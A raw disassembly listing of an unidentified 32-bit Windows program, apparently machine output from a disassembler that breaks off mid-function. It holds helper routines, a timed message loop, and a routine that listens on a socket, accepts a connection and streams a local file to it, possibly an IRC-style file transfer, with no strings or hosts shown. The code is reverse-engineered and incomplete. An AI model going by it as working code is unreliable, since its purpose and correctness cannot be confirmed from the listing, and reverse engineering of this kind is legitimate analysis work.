var_40 = dword ptr -40h var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 438C50h push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+64h+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_13AB8D3 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz loc_13B5E12 lea ebx, [esi+69h] mov ecx, ebx call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push 4439BCh push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+7Ch+var_10] call sub_13AB93C add ebp, 8Eh lea edx, [esp+7Ch+var_6C] push edx mov ecx, ebp xor edi, edi call sub_13AB851 mov eax, [eax] lea ecx, [esp+80h+var_70] push ecx mov ecx, ebp mov [esp+84h+var_14], eax call sub_13AC071 push eax lea ecx, [esp+88h+var_18] call sub_13AB76B test al, al jz loc_13B5E0B loc_13B5D76: ; CODE XREF: sub_13B5CD0+135j lea ecx, [esp+88h+var_1C] inc edi call sub_13AC35A mov ecx, [eax] add ecx, 33h call sub_13ABBE4 push eax lea ecx, [esp+8Ch+var_1C] call sub_13AC35A mov ecx, [eax] call sub_13ABBE4 push eax lea ecx, [esp+90h+var_1C] call sub_13AC35A mov ecx, [eax] add ecx, 1Eh call sub_13ABBE4 push eax push edi push 4439A0h mov ecx, ebx call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 24h push 5DCh call Sleep ; Sleep lea ecx, [esp+8Ch+var_20] call sub_13AB73E lea ecx, [esp+8Ch+var_7C] push ecx mov ecx, ebp call sub_13AC071 push eax lea ecx, [esp+94h+var_24] call sub_13AB76B test al, al jnz loc_13B5D76 loc_13B5E0B: ; CODE XREF: sub_13B5CD0+A0j mov al, 1 jmp loc_13B5F9A ; --------------------------------------------------------------------------- loc_13B5E12: ; CODE XREF: sub_13B5CD0+37j lea ecx, [ebp+32h] call sub_13ABBE4 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz short loc_13B5EA5 push offset dword_443600 lea edx, [esp+74h+var_44] push 1 push edx mov ecx, esi call sub_13ABAAE push 1 push eax mov ecx, ebp mov [esp+84h+var_18], 0 call sub_13ABDCE lea ecx, [esp+84h+var_58] mov edi, eax mov [esp+84h+var_20], 0FFFFFFFFh call sub_13AB626 test edi, edi jz loc_13B5F98 mov ecx, edi call sub_13ABBE4 push eax lea ecx, [edi+1Eh] call sub_13ABBE4 push eax push 443994h lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch jmp loc_13B5F9A ; --------------------------------------------------------------------------- loc_13B5EA5: ; CODE XREF: sub_13B5CD0+154j lea ecx, [ebp+60h] call sub_13AB8D3 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz loc_13B5F98 push offset dword_443600 lea edx, [esp+78h+var_48] push 1 push edx mov ecx, esi call sub_13ABAAE push 1 push eax mov ecx, ebp mov [esp+88h+var_1C], 1 call sub_13ABDCE lea ecx, [esp+88h+var_5C] mov edi, eax mov [esp+88h+var_24], 0FFFFFFFFh call sub_13AB626 test edi, edi jz loc_13B5F98 push edi lea ecx, [esp+8Ch+var_74] call sub_13AB8C9 mov ebx, 2 push 1 push offset dword_443600 lea eax, [esp+94h+var_48] push ebx push eax mov ecx, esi mov [esp+9Ch+var_28], ebx call sub_13AB5EA push eax push edi mov ecx, ebp mov [esp+0A4h+var_38], 3 call sub_13AC332 lea ecx, [esp+0A4h+var_60] mov byte ptr [esp+0A4h+var_40], bl call sub_13AB626 lea ecx, [esp+0A4h+var_90] call sub_13ABBE4 push eax mov ecx, edi call sub_13ABBE4 push eax lea ecx, [edi+1Eh] call sub_13ABBE4 push eax push 443978h lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 20h lea ecx, [esp+0A4h+var_90] mov [esp+0A4h+var_40], 0FFFFFFFFh call sub_13AB626 mov al, 1 jmp short loc_13B5F9A ; --------------------------------------------------------------------------- loc_13B5F98: ; CODE XREF: sub_13B5CD0+190j ; sub_13B5CD0+1E7j ... xor al, al loc_13B5F9A: ; CODE XREF: sub_13B5CD0+13Dj ; sub_13B5CD0+1D0j ... mov ecx, [esp+84h+var_28] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 sub_13B5CD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6070 proc near ; CODE XREF: sub_13ABFF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13AC5CB mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13B6070 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B60B0 proc near ; CODE XREF: sub_13AB955j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AC071 mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13AB851 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB64E mov edx, [esi+4] mov ecx, esi push edx call sub_13AC3CD xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13B60B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6120 proc near ; CODE XREF: sub_13AB851j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13AC4F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AB8A6 mov eax, esi pop esi retn 4 sub_13B6120 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6160 proc near ; CODE XREF: sub_13AC071j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AB8A6 mov eax, esi pop esi retn 4 sub_13B6160 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6190 proc near ; CODE XREF: sub_13ABD06j var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13AC071 mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13AC049 pop esi pop ecx retn 4 sub_13B6190 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B61D0 proc near ; CODE XREF: sub_13ABFEFj var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AC071 mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13AB851 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB64E pop esi add esp, 0Ch retn sub_13B61D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6220 proc near ; CODE XREF: sub_13AB93Cj push esi mov esi, ecx call sub_13AC53A mov eax, esi pop esi retn sub_13B6220 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6240 proc near ; CODE XREF: sub_13AC35Aj mov eax, [ecx] push eax call sub_13ABC39 add esp, 4 retn sub_13B6240 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6260 proc near ; CODE XREF: sub_13AB73Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_13AC4F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13B6260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6290 proc near ; CODE XREF: sub_13AB76Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC0E9 neg al sbb eax, eax inc eax retn 4 sub_13B6290 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B62C0 proc near ; CODE XREF: sub_13AC049j var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13ABAA4 mov edi, eax push edi call sub_13AC53F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13AC5CB push edi mov ebx, eax call sub_13AC53F push edi mov [eax], ebx call sub_13AC53F mov edi, [eax] push edi call sub_13AC53F mov ecx, [eax] push ecx call sub_13AC4F9 mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13ABC39 add esp, 4 mov ecx, esi push eax call sub_13AC314 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AB8A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13B62C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6360 proc near ; CODE XREF: sub_13AB64Ej var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13AB76B test al, al jz short loc_13B63BA loc_13B6378: ; CODE XREF: sub_13B6360+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13ABF86 mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13AB46E lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13AB76B test al, al jnz short loc_13B6378 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13B63BA: ; CODE XREF: sub_13B6360+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13B6360 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B63F0 proc near ; CODE XREF: sub_13AC5CBj arg_0 = dword ptr 4 push esi push edi push 0Ch call sub_13AB95F mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_13B6405 mov edi, esi loc_13B6405: ; CODE XREF: sub_13B63F0+11j push esi call sub_13AC4F9 mov [eax], edi mov edi, [esp+10h+arg_0] add esp, 4 test edi, edi jnz short loc_13B641A mov edi, esi loc_13B641A: ; CODE XREF: sub_13B63F0+26j push esi call sub_13AC53F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13B63F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6440 proc near ; CODE XREF: sub_13AC3CDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13AC459 retn 4 sub_13B6440 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6460 proc near ; CODE XREF: sub_13AC4F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13B6460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6480 proc near ; CODE XREF: sub_13ABC39j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13B6480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B64A0 proc near ; CODE XREF: sub_13AC53Aj mov eax, ecx retn sub_13B64A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B64C0 proc near ; CODE XREF: sub_13AB8A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13AB45A mov eax, esi pop esi retn 4 sub_13B64C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B64F0 proc near ; CODE XREF: sub_13AC0E9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13B64F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6520 proc near ; CODE XREF: sub_13AB46Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13ABF86 mov ecx, eax call sub_13ABAA4 mov esi, eax push esi call sub_13AC4F9 push esi mov ebx, eax call sub_13AC53F mov ecx, [eax] push ecx call sub_13AC4F9 mov edx, [ebx] push esi mov [eax], edx call sub_13AC53F push esi mov ebx, eax call sub_13AC4F9 mov eax, [eax] push eax call sub_13AC53F mov ecx, [ebx] push esi mov [eax], ecx call sub_13ABC39 add esp, 1Ch mov ecx, edi push eax call sub_13AB621 push esi mov ecx, edi call sub_13AC3CD mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13B6520 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B65E0 proc near ; CODE XREF: sub_13AC53Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13B65E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6600 proc near ; CODE XREF: sub_13AB95Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13B6600 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6630 proc near ; CODE XREF: sub_13AC459j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13B6630 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6650 proc near ; CODE XREF: sub_13AC314j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AB5AE add esp, 8 retn 8 sub_13B6650 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6680 proc near ; CODE XREF: sub_13AB45Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13B6680 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B66A0 proc near ; CODE XREF: sub_13ABAA4j mov eax, [ecx] retn sub_13B66A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B66C0 proc near ; CODE XREF: sub_13ABF86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13AB73E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13B66C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B66F0 proc near ; CODE XREF: sub_13AB621j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_13B66F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6710 proc near ; CODE XREF: sub_13AB5AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13B672B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13B672B: ; CODE XREF: sub_13B6710+11j retn sub_13B6710 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6760 proc near ; CODE XREF: sub_13ABFE5j var_30 = byte ptr -30h var_24 = byte ptr -24h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 438C78h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_13ABA81 add esi, 4 push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+34h+var_30] mov [esp+34h+var_10], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_18] pop esi mov large fs:0, ecx add esp, 24h retn sub_13B6760 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6800 proc near ; CODE XREF: sub_13ABB12j var_114 = dword ptr -114h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_C4 = byte ptr -0C4h var_BC = byte ptr -0BCh var_B4 = dword ptr -0B4h var_AC = byte ptr -0ACh var_A4 = dword ptr -0A4h var_94 = dword ptr -94h var_90 = byte ptr -90h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_74 = dword ptr -74h var_68 = dword ptr -68h var_64 = dword ptr -64h var_5C = dword ptr -5Ch var_48 = byte ptr -48h var_3E = dword ptr -3Eh var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_AC = byte ptr 0B0h arg_BC = byte ptr 0C0h arg_D0 = byte ptr 0D4h arg_E0 = byte ptr 0E4h arg_548 = byte ptr 54Ch arg_64C = byte ptr 650h arg_2D28 = byte ptr 2D2Ch arg_2D7C = byte ptr 2D80h arg_5384 = dword ptr 5388h arg_53AC = dword ptr 53B0h arg_53B0 = byte ptr 53B4h arg_53C4 = byte ptr 53C8h arg_53D0 = dword ptr 53D4h arg_5448 = byte ptr 544Ch arg_54A0 = byte ptr 54A4h arg_54A4 = byte ptr 54A8h arg_54B4 = dword ptr 54B8h arg_54C0 = dword ptr 54C4h push 0FFFFFFFFh mov eax, large fs:0 push 438CBCh push eax mov eax, 54C0h mov large fs:0, esp call near ptr 13E0C60h push ebx push ebp push esi push edi add ecx, 4 call sub_13AB8D3 mov ebp, [esp+1Ch+arg_54C0] push eax lea ecx, [ebp+7Eh] call sub_13AB6EE test eax, eax jnz loc_13B6D52 lea ecx, [esp+20h+arg_20] call sub_13AB491 push 1 push offset dword_443600 lea eax, [esp+28h+arg_5C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+30h+arg_54B4], esi call sub_13AB5EA push eax lea ecx, [esp+34h+arg_18] mov [esp+34h+arg_54A4], 1 call sub_13AC40E lea ecx, [esp+34h+arg_48] mov [esp+34h+arg_54A0], 0 call sub_13AB626 push esi push 1 push 2 mov [esp+40h+var_20], esi mov [esp+40h+var_1C], esi mov [esp+40h+var_8], esi call socket ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+40h+var_30], ebx jnz short loc_13B68D0 lea ecx, [esp+40h+arg_2D7C] push offset dword_443AD8 push ecx call wsprintfA ; wsprintfA add esp, 8 jmp loc_13B6CF9 ; --------------------------------------------------------------------------- loc_13B68D0: ; CODE XREF: sub_13B6800+B3j xor edx, edx push esi mov [esp+44h+var_24], edx mov word ptr [esp+44h+var_24], 2 mov [esp+44h+var_20], edx mov [esp+44h+var_1C], edx mov [esp+44h+var_18], edx call htons ; htons mov [esp+44h+var_26], ax lea eax, [esp+44h+var_28] push 10h push eax push ebx mov [esp+50h+var_24], esi call bind ; bind test eax, eax jz short loc_13B691E lea ecx, [ebp+69h] call sub_13AB8D3 push eax push offset dword_443AB8 jmp loc_13B69C4 ; --------------------------------------------------------------------------- loc_13B691E: ; CODE XREF: sub_13B6800+109j lea eax, [esp+50h+var_1C] lea ecx, [esp+50h+var_34] push eax push ecx push ebx mov [esp+5Ch+var_1C], 10h call getsockname ; getsockname mov edx, [esp+5Ch+var_3E] push edx call htons ; htons lea ecx, [esp+60h+var_14] mov [esp+60h+var_30], eax call sub_13AB8D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+60h+arg_64C] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_13B6977: ; CODE XREF: sub_13B6800+1A7j mov al, [esp+edx+60h+arg_64C] cmp al, 20h jnz short loc_13B6989 mov eax, 5Fh jmp short loc_13B698C ; --------------------------------------------------------------------------- loc_13B6989: ; CODE XREF: sub_13B6800+180j movsx eax, al loc_13B698C: ; CODE XREF: sub_13B6800+187j mov [esp+edx+60h+arg_548], al lea edi, [esp+60h+arg_64C] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_13B6977 push 1 push ebx call listen ; listen test eax, eax jz short loc_13B69E1 lea ecx, [ebp+69h] call sub_13AB8D3 push eax push offset dword_443A98 loc_13B69C4: ; CODE XREF: sub_13B6800+119j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 jmp loc_13B6CF3 ; --------------------------------------------------------------------------- loc_13B69E1: ; CODE XREF: sub_13B6800+1B4j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+80h+var_1C] call sub_13ABBE4 push eax call CreateFileA ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_13B6A48 lea ecx, [ebp+69h] call sub_13AB8D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset dword_443A7C push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 lea edx, [esp+94h+arg_2D28] push offset dword_443A5C push edx call wsprintfA ; wsprintfA add esp, 8 jmp loc_13B6CF3 ; --------------------------------------------------------------------------- loc_13B6A48: ; CODE XREF: sub_13B6800+205j push 0 push esi call GetFileSize ; GetFileSize lea ecx, [esp+8Ch+var_24] mov ebx, eax call sub_13AB824 mov eax, [esp+8Ch+var_5C] push ebx and eax, 0FFFFh mov [esp+90h+arg_5448], 2 push eax mov eax, ds:dword_E19CDD push eax call sub_13AC1F7 add esp, 4 push eax call inet_addr ; inet_addr push eax call htonl ; htonl push eax lea ecx, [esp+0A0h+var_48] call sub_13ABBE4 push eax lea ecx, [esp+0A4h+var_2C] push offset dword_443A40 push ecx call sub_13AB42D add esp, 18h lea ecx, [ebp+15h] call sub_13ABA81 push eax lea ecx, [esp+98h+var_2C] call sub_13AB8D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 mov edi, [esp+0A4h+var_94] lea ecx, [esp+0A4h+var_68] push ecx push 0 lea edx, [esp+0ACh+arg_0] push 0 push edx push 0 mov [esp+0B8h+var_68], 3Ch mov [esp+0B8h+var_64], 0 mov [esp+0B8h+arg_4], edi mov [esp+0B8h+arg_0], 1 call select ; select test eax, eax jg short loc_13B6B41 lea ecx, [ebp+69h] call sub_13AB8D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset dword_443A30 push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 jmp loc_13B6CDE ; --------------------------------------------------------------------------- loc_13B6B41: ; CODE XREF: sub_13B6800+314j lea edx, [esp+0B8h+var_80] lea eax, [esp+0B8h+var_20] push edx push eax push edi mov [esp+0C4h+var_80], 10h call accept ; accept cmp eax, 0FFFFFFFFh mov [esp+0C4h+var_7C], eax jnz short loc_13B6B91 lea ecx, [ebp+69h] call sub_13AB8D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset dword_443A10 push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 jmp loc_13B6CDE ; --------------------------------------------------------------------------- loc_13B6B91: ; CODE XREF: sub_13B6800+364j push edi call closesocket ; closesocket test ebx, ebx jz loc_13B6C49 loc_13B6BA0: ; CODE XREF: sub_13B6800+43Cj mov ebp, 400h cmp ebx, ebp jge short loc_13B6BAB mov ebp, ebx loc_13B6BAB: ; CODE XREF: sub_13B6800+3A7j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0CCh+arg_E0] push eax push edx push esi rep stosd call SetFilePointer ; SetFilePointer lea eax, [esp+0D8h+var_AC] push 0 push eax lea ecx, [esp+0E0h+arg_D0] push ebp push ecx push esi call ReadFile ; ReadFile mov eax, [esp+0ECh+var_A4] push 0 lea edx, [esp+0F0h+arg_BC] push ebp push edx push eax call send ; send mov ecx, [esp+0FCh+var_E8] mov ebp, [esp+0FCh+var_E4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+104h+var_E8], ecx lea ecx, [esp+104h+arg_AC] adc ebp, edx mov edx, [esp+104h+var_B4] push ecx push edx mov [esp+10Ch+var_E4], ebp call recv ; recv cmp eax, 1 jl loc_13B6D12 cmp edi, 1 jl loc_13B6D12 sub ebx, edi jnz loc_13B6BA0 mov ebp, [esp+10Ch+arg_53D0] loc_13B6C49: ; CODE XREF: sub_13B6800+39Aj push esi call CloseHandle ; CloseHandle lea ecx, [esp+110h+var_90] call sub_13AB824 mov eax, [esp+110h+var_F8] mov ecx, [esp+110h+var_FC] push eax push ecx lea ecx, [esp+118h+var_C4] mov [esp+118h+arg_53C4], 3 call sub_13AB8D3 mov edx, [esp+118h+var_74] push eax push edx call inet_ntoa ; inet_ntoa push eax lea eax, [esp+124h+var_94] push offset dword_4439DC push eax call sub_13AB42D add esp, 18h lea ecx, [ebp+69h] call sub_13AB8D3 push eax lea ecx, [esp+118h+var_94] call sub_13AB8D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+124h+var_A4] mov [esp+124h+arg_53B0], 2 call sub_13AB626 loc_13B6CDE: ; CODE XREF: sub_13B6800+33Cj ; sub_13B6800+38Cj lea ecx, [esp+124h+var_BC] mov [esp+124h+arg_53B0], 0 call sub_13AB626 mov ebx, [esp+124h+var_114] loc_13B6CF3: ; CODE XREF: sub_13B6800+1DCj ; sub_13B6800+243j xor esi, esi cmp ebx, esi jbe short loc_13B6D00 loc_13B6CF9: ; CODE XREF: sub_13B6800+CBj push ebx call closesocket ; closesocket loc_13B6D00: ; CODE XREF: sub_13B6800+4F7j mov eax, [esp+128h+var_E0] push eax call closesocket ; closesocket push esi call ExitThread ; ExitThread loc_13B6D12: ; CODE XREF: sub_13B6800+42Bj ; sub_13B6800+434j mov esi, [esp+130h+arg_53AC] lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset dword_4439C4 push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 mov edx, [esp+140h+var_F8] push edx call closesocket ; closesocket push 1 call ExitThread ; ExitThread loc_13B6D52: ; CODE XREF: sub_13B6800+3Dj mov ecx, [esp+148h+arg_5384] 